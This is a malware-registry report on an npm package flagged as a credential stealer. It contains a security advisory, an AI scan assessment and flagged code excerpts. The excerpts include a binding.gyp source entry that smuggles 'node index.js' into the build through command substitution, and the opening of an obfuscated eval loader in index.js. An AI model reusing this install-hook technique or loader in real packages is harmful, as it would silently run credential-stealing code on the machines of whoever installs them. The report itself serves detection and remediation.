registry / Malware / test-brotli2-testmetest

test-brotli2-testmetest

This report shows the evidence for test-brotli2-testmetest@1.0.0. 1 of 2 known versions is blocked or flagged. See all versions.

OpenSSF/OSV Malicious Advisory

imported 20h ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-18182 confirms this npm version as malicious.

Advisory

MAL-2026-18182

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in test-brotli2-testmetest (npm)

Details

test-brotli2-testmetest 1.0.0 ships a rebuild of the data-pipeline-testmetest 2.0.1 credential stealer and runs it on `npm install`: its `install` script runs `node-gyp rebuild`, and the `binding.gyp` source `<!(env node index.js >/dev/null 2>&1; echo stub.c)` makes node-gyp run `index.js`, an obfuscated loader that decrypts a Brotli-compressed payload and pipes it into Bun. Published by npm account `testnewtestme2` on 2026-10-21.

References

OpenSSF/OSV advisory PACKAGE

Independent LPM AI assessment

Suspicious

Independent AI assessment: suspicious. LPM AI assessed this version as suspicious; the assessments disagree.

The install path reaches heavily obfuscated code that is evaluated at runtime, leaving a real unresolved risk. The inspected source does not establish concrete malicious behavior, so this merits a warning rather than a block.

Static reason

One or more suspicious static signals were detected.

Trigger

Installing the package invokes its install hook and native build tool.

Impact

Unknown because the evaluated payload's behavior is unresolved.

Mechanism

The build configuration runs index.js during source-list evaluation; that file evaluates code assembled from encoded data.

AI rationale

Evidence

package.jsonbinding.gypindex.js

Independent scan evidence

public snapshot

AI called this Suspicious at 83.0% confidence as Unknown with medium false-positive risk.

Evidence for AI warning decision

The package install hook runs the native build tool.
The build configuration runs the entrypoint while resolving its source list, so installation reaches that file.
The entrypoint immediately evaluates code assembled from encoded numeric data, and its payload behavior remains unresolved.

Evidence against

Behavioral surface

Source

Eval

Supply chain

MinifiedTrivial

Manifest

NoLicense

scanned 1 file(s), 573 KB of source

Source & flagged code

6 flagged

package.jsonView file

•scripts.install = node-gyp rebuild

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

4"main": "index.js", "scripts": { "install": "node-gyp rebuild" } }

High

Suspicious Lifecycle Evidence

The package install hook runs the native build tool.

package.jsonView on unpkg · L4

index.jsView file

1(function(){var _r=0,_s=1,_t=2;try{eval((function(d,k){return d.replace(/[a-zA-Z]/g,function(v){var o=v<="Z"?65:97;return String.fromCharCode((v.charCodeAt(0)-o+k)%26+o)})})([40,118,110,116,105,120,40,41,61,62,123,111,109,116,123,10,120,106

High

Ai Review Evidence

The entrypoint immediately evaluates code assembled from encoded numeric data, and its payload behavior remains unresolved.

index.jsView on unpkg · L1

1(function(){var _r=0,_s=1,_t=2;try{eval((function(d,k){return d.replace(/[a-zA-Z]/g,function(v){var o=v<="Z"?65:97;return String.fromCharCode((v.charCodeAt(0)-o+k)%26+o)})})([40,11...

Low

Eval

Package source references a known benign dynamic code generation pattern.

index.jsView on unpkg · L1

binding.gypView file

3name": "nothing", "type": "none", "sources": ["<!(env node index.js >/dev/null 2>&1; echo stub.c)"]

High

Ai Review Evidence

The build configuration runs the entrypoint while resolving its source list, so installation reaches that file.

binding.gypView on unpkg · L3

•path = binding.gyp kind = build_helper sizeBytes = 144 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

binding.gypView on unpkg

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.install = node-gyp rebuild

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

4"main": "index.js", "scripts": { "install": "node-gyp rebuild" } }

High

Suspicious Lifecycle Evidence

The package install hook runs the native build tool.

package.jsonView on unpkg · L4

index.jsView file

High

Ai Review Evidence

The entrypoint immediately evaluates code assembled from encoded numeric data, and its payload behavior remains unresolved.

index.jsView on unpkg · L1

Findings

4 High2 Medium3 Low

HighInstall Time Lifecycle Scriptspackage.json

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencebinding.gyp

HighAi Review Evidenceindex.js

MediumShips Build Helperbinding.gyp

MediumStructural Risk Force Deep Review

LowScripts Present

LowEvalindex.js

LowNo License

Affected versions and remediation

This report applies to test-brotli2-testmetest@1.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing test-brotli2-testmetest@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-22 05:00:11.015Z (UTC).

Source advisory published: 2026-10-21 18:00:00.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

1.0.0latestshownMaliciousMalwareBlockPublishedOct 21, 2026, 1:35 PM 0.0.0-stageUnknown—AllowUnder ReviewOct 21, 2026, 1:10 PM

OpenSSF/OSV Malicious Advisory

Independent LPM AI assessment

Independent scan evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other malware packages

Related packages

Other malware packages

Source & flagged code